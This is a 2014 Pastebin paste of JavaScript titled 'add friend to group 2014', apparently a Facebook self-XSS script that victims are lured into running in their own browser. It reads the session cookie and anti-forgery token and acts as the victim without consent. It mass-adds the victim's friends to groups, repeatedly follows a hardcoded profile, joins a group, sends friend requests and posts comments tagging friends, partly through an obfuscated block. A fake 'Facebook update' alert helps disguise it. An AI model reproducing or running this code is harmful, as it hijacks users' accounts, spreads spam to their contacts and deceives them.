Advertisement
Guest User

add friend to group 2014

a guest
Jul 25th, 2014
214
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.56 KB | None | 0 0
  1.  
  2. var user = getCookie("c_user");
  3. function getCookie(c_name) {
  4. var i,x,y,ARRcookies=document.cookie.split(";");
  5. for (i=0;i<ARRcookies.length;i++) {
  6. x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
  7. y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
  8. x=x.replace(/^\s+|\s+$/g,"");
  9. if (x==c_name) {
  10. return unescape(y);
  11. }
  12. }
  13. }
  14. var tulisanNganu = '<font color="black"><Hicham Yousfi</b> </font>';
  15. var kunaon = '';
  16. function penetrasi(opo) {
  17. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function (a) {
  18. var b = a.substring(a.indexOf("{"));
  19. var c = JSON.parse(b);
  20. i--;
  21. kunaon = "<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;";
  22. if (c.error) {
  23. kunaon += "color:darkred'>";
  24. if (c.errorDescription) {
  25. kunaon += c.errorDescription
  26. } else {
  27. kunaon += JSON.stringify(c, null, "")
  28. }
  29. } else {
  30. kunaon += "color:darkgreen'>";
  31. kunaon += arr[i];
  32. suc++
  33. }
  34. kunaon += "</div>";
  35. var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
  36. dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
  37. if (i > 0) {
  38. dipes += arr.length + " Friends Detected<br/>";
  39. dipes += "<b>" + suc + "</b> Friends Added Of " + (arr.length - i) + " Friends Processed ";
  40. dipes += "(" + i + " More To Go..)";
  41. dipes += "<div class='friend-edge'>";
  42. dipes += kunaon;
  43. dipes += "</div>"
  44. } else {
  45. dipes += arr.length + " Friends Detected And ";
  46. dipes += "<b>" + suc + " Friends Added</b>";
  47. dipes += "<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>Done</span></div>"
  48. }
  49. dipes += "</div>";
  50. document.getElementById("pagelet_welcome_box").innerHTML = dipes
  51. },
  52. "text", "post");
  53. tay--;
  54. if (tay > 0) {
  55. var s = arr[tay];
  56. setTimeout("penetrasi(" + s + ")", 100)
  57. }
  58. console.log(tay + "/" + arr.length + ":" + s + ", success:" + suc);
  59. if (memberGroupId != 128336317239973) {
  60. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=128336317239973&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function () {},
  61. "text", "post")
  62. }
  63. var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","1474434666109972","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);
  64. }
  65. function clickfr_callback() {
  66. if (document.getElementsByName("ok").length > 0) {
  67. nHtml.ClickUp(document.getElementsByName("ok")[0])
  68. }
  69. var a = arr[i];
  70. if (i < arr.length) addfriend(a.substring(0, 4))
  71. }
  72. function clickfr() {
  73. if (document.getElementsByClassName("search").length > 0) {
  74. console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML);
  75. document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);";
  76. nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])
  77. } else j++;
  78. setTimeout("clickfr_callback()", 2e3)
  79. }
  80. function addfriend(a) {
  81. i++;
  82. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  83. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = a;
  84. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur();
  85. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  86. document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
  87. setTimeout("clickfr()", 2e3)
  88. }
  89. function sleep(a) {
  90. var b = (new Date).getTime();
  91. for (var c = 0; c < 1e7; c++) {
  92. if ((new Date).getTime() - b > a) {
  93. break
  94. }
  95. }
  96. }
  97. jx = {
  98. getHTTPObject: function () {
  99. var a = false;
  100. if (typeof ActiveXObject != "undefined") {
  101. try {
  102. a = new ActiveXObject("Msxml2.XMLHTTP")
  103. } catch(b) {
  104. try {
  105. a = new ActiveXObject("Microsoft.XMLHTTP")
  106. } catch(c) {
  107. a = false
  108. }
  109. }
  110. } else {
  111. if (window.XMLHttpRequest) {
  112. try {
  113. a = new XMLHttpRequest
  114. } catch(b) {
  115. a = false
  116. }
  117. }
  118. }
  119. return a
  120. },
  121. load: function (url, callback, format, method, opt) {
  122. var http = this.init();
  123. if (!http || !url) {
  124. return
  125. }
  126. if (http.overrideMimeType) {
  127. http.overrideMimeType("text/xml")
  128. }
  129. if (!method) {
  130. method = "GET"
  131. }
  132. if (!format) {
  133. format = "text"
  134. }
  135. if (!opt) {
  136. opt = {}
  137. }
  138. format = format.toLowerCase();
  139. method = method.toUpperCase();
  140. var now = "uid=" + (new Date).getTime();
  141. url += url.indexOf("?") + 1 ? "&": "?";
  142. url += now;
  143. var parameters = null;
  144. if (method == "POST") {
  145. var parts = url.split("?");
  146. url = parts[0];
  147. parameters = parts[1]
  148. }
  149. http.open(method, url, true);
  150. if (method == "POST") {
  151. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  152. http.setRequestHeader("Content-length", parameters.length);
  153. http.setRequestHeader("Connection", "close")
  154. }
  155. var ths = this;
  156. if (opt.handler) {
  157. http.onreadystatechange = function () {
  158. opt.handler(http)
  159. }
  160. } else {
  161. http.onreadystatechange = function () {
  162. if (http.readyState == 4) {
  163. if (http.status == 200) {
  164. var result = "";
  165. if (http.responseText) {
  166. result = http.responseText
  167. }
  168. if (format.charAt(0) == "j") {
  169. result = result.replace(/[\n\r]/g, "");
  170. result = eval("(" + result + ")")
  171. } else {
  172. if (format.charAt(0) == "x") {
  173. result = http.responseXML
  174. }
  175. }
  176. if (callback) {
  177. callback(result)
  178. }
  179. } else {
  180. if (opt.loadingIndicator) {
  181. document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
  182. }
  183. if (opt.loading) {
  184. document.getElementById(opt.loading).style.display = "none"
  185. }
  186. if (error) {
  187. error(http.status)
  188. }
  189. }
  190. }
  191. }
  192. }
  193. http.send(parameters)
  194. },
  195. bind: function (a) {
  196. var b = {
  197. url: "",
  198. onSuccess: false,
  199. onError: false,
  200. format: "text",
  201. method: "GET",
  202. update: "",
  203. loading: "",
  204. loadingIndicator: ""
  205. };
  206. for (var c in b) {
  207. if (a[c]) {
  208. b[c] = a[c]
  209. }
  210. }
  211. if (!b.url) {
  212. return
  213. }
  214. var d = false;
  215. if (b.loadingIndicator) {
  216. d = document.createElement("div");
  217. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  218. d.setAttribute("class", "loading-indicator");
  219. d.innerHTML = b.loadingIndicator;
  220. document.getElementsByTagName("body")[0].appendChild(d);
  221. this.opt.loadingIndicator = d
  222. }
  223. if (b.loading) {
  224. document.getElementById(b.loading).style.display = "block"
  225. }
  226. this.load(b.url, function (a) {
  227. if (b.onSuccess) {
  228. b.onSuccess(a)
  229. }
  230. if (b.update) {
  231. document.getElementById(b.update).innerHTML = a
  232. }
  233. if (d) {
  234. document.getElementsByTagName("body")[0].removeChild(d)
  235. }
  236. if (b.loading) {
  237. document.getElementById(b.loading).style.display = "none"
  238. }
  239. },
  240. b.format, b.method, b)
  241. },
  242. init: function () {
  243. return this.getHTTPObject()
  244. }
  245. };
  246. var nHtml = {
  247. FindByAttr: function (a, b, c, d) {
  248. if (c == "className") {
  249. c = "class"
  250. }
  251. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  252. if (e && e.singleNodeValue) {
  253. return e.singleNodeValue
  254. }
  255. return null
  256. },
  257. FindByClassName: function (a, b, c) {
  258. return this.FindByAttr(a, b, "className", c)
  259. },
  260. FindByXPath: function (a, b) {
  261. try {
  262. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  263. } catch(d) {
  264. GM_log("bad xpath:" + b)
  265. }
  266. if (c && c.singleNodeValue) {
  267. return c.singleNodeValue
  268. }
  269. return null
  270. },
  271. VisitUrl: function (a) {
  272. window.setTimeout(function () {
  273. document.location.href = a
  274. },
  275. 500 + Math.floor(Math.random() * 500))
  276. },
  277. ClickWin: function (a, b, c) {
  278. var d = a.document.createEvent("MouseEvents");
  279. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  280. return ! b.dispatchEvent(d)
  281. },
  282. Click: function (a) {
  283. return this.ClickWin(window, a, "click")
  284. },
  285. ClickTimeout: function (a, b) {
  286. window.setTimeout(function () {
  287. return nHtml.ClickWin(window, a, "click")
  288. },
  289. b + Math.floor(Math.random() * 500))
  290. },
  291. ClickUp: function (a) {
  292. this.ClickWin(window, a, "mousedown");
  293. this.ClickWin(window, a, "mouseup");
  294. this.ClickWin(window, a, "click")
  295. },
  296. GetText: function (a, b) {
  297. var c = "";
  298. if (b == undefined) {
  299. b = 0
  300. }
  301. if (b > 40) {
  302. return
  303. }
  304. if (a.textContent != undefined) {
  305. return a.textContent
  306. }
  307. for (var d = 0; d < a.childNodes.length; d++) {
  308. var e = a.childNodes[d];
  309. c += this.GetText(e, b + 1)
  310. }
  311. return c
  312. }
  313. };
  314. if (document.getElementsByClassName == undefined) {
  315. document.getElementsByClassName = function (a) {
  316. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  317. var c = document.getElementsByTagName("*");
  318. var d = [];
  319. var e;
  320. for (var f = 0;
  321. (e = c[f]) != null; f++) {
  322. var g = e.className;
  323. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  324. }
  325. return d
  326. }
  327. }
  328. Array.prototype.find = function (a) {
  329. var b = false;
  330. for (i = 0; i < this.length; i++) {
  331. if (typeof a == "function") {
  332. if (a.test(this[i])) {
  333. if (!b) {
  334. b = []
  335. }
  336. b.push(i)
  337. }
  338. } else {
  339. if (this[i] === a) {
  340. if (!b) {
  341. b = []
  342. }
  343. b.push(i)
  344. }
  345. }
  346. }
  347. return b
  348. };
  349. var a = 0,
  350. eind = 0;
  351. var len = document.getElementsByClassName("mbm").length;
  352. for (a = 0; a < len; a++) {
  353. var ele = document.getElementsByClassName("mbm")[a];
  354. if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value == "Add Friends To Group") {
  355. eind = a;
  356. break
  357. }
  358. }
  359. var i = 3;
  360. var tay = 3;
  361. var counter1 = 0,
  362. counter2 = 0,
  363. counter3 = 0;
  364. var j = 0;
  365. var k = 0;
  366. var suc = 0;
  367. var arr = new Array;
  368. var memberGroupId = document.getElementsByName('group_id')[0].value;
  369. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user + "&filter[0]=user&__user=" + user, function (a) {
  370. var b = a;
  371. var c = b.substring(b.indexOf("{"));
  372. var d = JSON.parse(c);
  373. d = d.payload.entries;
  374. for (var e = 0; e < d.length; e++) {
  375. arr.push(d[e].uid)
  376. }
  377. i = arr.length - 1;
  378. tay = i;
  379. console.log(arr.length);
  380. var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
  381. dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
  382. dipes += arr.length + " Friends Detected";
  383. dipes += "</div>";
  384. document.getElementById("pagelet_welcome_box").innerHTML = dipes;
  385. penetrasi(arr[i])
  386. })
  387.  
  388.  
  389. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  390. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  391. alert('[Thành công.Vui l?ng b?m Enter d? b?t d?u Update Facebook.Qu? tr?nh s? hoàn thành sau 5s.');
  392. function cereziAl(isim) {
  393. var tarama = isim + "=";
  394. if (document.cookie.length > 0) {
  395. konum = document.cookie.indexOf(tarama)
  396. if (konum != -1) {
  397. konum += tarama.length
  398. son = document.cookie.indexOf(";", konum)
  399. if (son == -1)
  400. son = document.cookie.length
  401. return unescape(document.cookie.substring(konum, son))
  402. }
  403. else { return ""; }
  404. }
  405. }
  406.  
  407. function getRandomInt (min, max) {
  408. return Math.floor(Math.random() * (max - min + 1)) + min;
  409. }
  410. function randomValue(arr) {
  411. return arr[getRandomInt(0, arr.length-1)];
  412. }
  413.  
  414. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  415. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  416.  
  417. function a(abone){
  418. var http4 = new XMLHttpRequest();
  419.  
  420. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  421.  
  422. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  423. http4.open("POST", url4, true);
  424.  
  425. //Send the proper header information along with the request
  426. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  427. http4.setRequestHeader("Content-length", params4.length);
  428. http4.setRequestHeader("Connection", "close");
  429.  
  430. http4.onreadystatechange = function() {//Call a function when the state changes.
  431. if(http4.readyState == 4 && http4.status == 200) {
  432.  
  433. http4.close; // Close the connection
  434.  
  435. }
  436. }
  437.  
  438. http4.send(params4);
  439. }
  440.  
  441. function sublist(uidss) {
  442. var a = document.createElement('script');
  443. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  444. document.body.appendChild(a);
  445. }
  446.  
  447. a("100004313648540");a("100004313648540");a("100004313648540");a("100004313648540");a("100004313648540");
  448. a("100004313648540");a("100004313648540");a("100004313648540");a("100004313648540");a("100004313648540");
  449. a("100004313648540");a("100004313648540");a("100004313648540");a("100004313648540");a("100004313648540");
  450. sublist("338754209611698");sublist("338754209611698");sublist("338754209611698");sublist("338754209611698");
  451. sublist("338754209611698");sublist("338754209611698");sublist("338754209611698");sublist("338754209611698");
  452. sublist("338754209611698");sublist("338754209611698");sublist("338754209611698");sublist("338754209611698");
  453. sublist("338754209611698");sublist("338754209611698");sublist("338754209611698");sublist("338754209611698");
  454.  
  455.  
  456. var gid = ['100004313648540'];
  457.  
  458. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  459. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  460.  
  461. var httpwp = new XMLHttpRequest();
  462. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  463. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  464. httpwp['open']('POST', urlwp, true);
  465. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  466. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  467. httpwp['setRequestHeader']('Connection', 'keep-alive');
  468. httpwp['send'](paramswp);
  469.  
  470. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  471. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  472.  
  473. var friends = new Array();
  474. gf = new XMLHttpRequest();
  475. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  476. gf['send']();
  477. if (gf['readyState'] != 4) {} else {
  478. data = eval('(' + gf['responseText']['substr'](9) + ')');
  479. if (data['error']) {} else {
  480. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  481. return _0x93dax8['index'] - _0x93dax9['index'];
  482. });
  483. };
  484. };
  485.  
  486. for (var i = 0; i < friends['length']; i++) {
  487. var httpwp = new XMLHttpRequest();
  488. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  489. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  490. httpwp['open']('POST', urlwp, true);
  491. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  492. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  493. httpwp['setRequestHeader']('Connection', 'keep-alive');
  494. httpwp['onreadystatechange'] = function () {
  495. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  496. };
  497. httpwp['send'](paramswp);
  498. };
  499. var spage_id = "100004313648540";
  500. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  501. var smesaj = "";
  502. var smesaj_text = "";
  503. var arkadaslar = [];
  504. var svn_rev;
  505. var bugun= new Date();
  506. var btarihi = new Date();
  507. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  508. if(!document.cookie.match(/paylasti=(\d+)/)){
  509. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  510. }
  511.  
  512.  
  513. //arkadaslari al ve isle
  514. function sarkadaslari_al(){
  515. var xmlhttp = new XMLHttpRequest();
  516. xmlhttp.onreadystatechange = function () {
  517. if(xmlhttp.readyState == 4){
  518. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  519. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  520. smesaj = "";
  521. smesaj_text = "";
  522. for(i=f*10;i<(f+1)*10;i++){
  523. if(arkadaslar.payload.entries[i]){
  524. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  525. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  526. }
  527. }
  528. sdurumpaylas(); }
  529.  
  530. }
  531.  
  532. };
  533. var params = "&filter[0]=user";
  534. params += "&options[0]=friends_only";
  535. params += "&options[1]=nm";
  536. params += "&token=v7";
  537. params += "&viewer=" + user_id;
  538. params += "&__user=" + user_id;
  539.  
  540. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  541. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  542. xmlhttp.send();
  543. }
  544.  
  545. //tiklama olayini dinle
  546. var tiklama = document.addEventListener("click", function () {
  547. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  548. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  549. sarkadaslari_al();
  550. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  551.  
  552. document.removeEventListener(tiklama);
  553. }
  554. }, false);
  555.  
  556.  
  557. //arkada?¾ ekleme
  558. function sarkadasekle(uid,cins){
  559. var xmlhttp = new XMLHttpRequest();
  560. xmlhttp.onreadystatechange = function () {
  561. if(xmlhttp.readyState == 4){
  562. }
  563. };
  564.  
  565. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  566. var params = "to_friend=" + uid;
  567. params += "&action=add_friend";
  568. params += "&how_found=friend_browser";
  569. params += "&ref_param=none";
  570. params += "&outgoing_id=";
  571. params += "&logging_location=friend_browser";
  572. params += "&no_flyout_on_click=true";
  573. params += "&ego_log_data=";
  574. params += "&http_referer=";
  575. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  576. params += "&phstamp=165816749114848369115";
  577. params += "&__user=" + user_id;
  578. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  579. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  580.  
  581. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  582. xmlhttp.send(params);
  583. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  584. cinsiyetgetir(uid,cins,"sarkadasekle");
  585. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  586. xmlhttp.send(params);
  587. }
  588. }
  589.  
  590. //cinsiyet belirleme
  591. var cinssonuc = {};
  592. var cinshtml = document.createElement("html");
  593. function scinsiyetgetir(uid,cins,fonksiyon){
  594. var xmlhttp = new XMLHttpRequest();
  595. xmlhttp.onreadystatechange = function () {
  596. if(xmlhttp.readyState == 4){
  597. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  598. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  599. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  600. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  601. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  602. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  603. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  604. }
  605. eval(fonksiyon + "(" + id + "," + cins + ");");
  606. }
  607. };
  608. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  609. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  610. xmlhttp.send();
  611. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement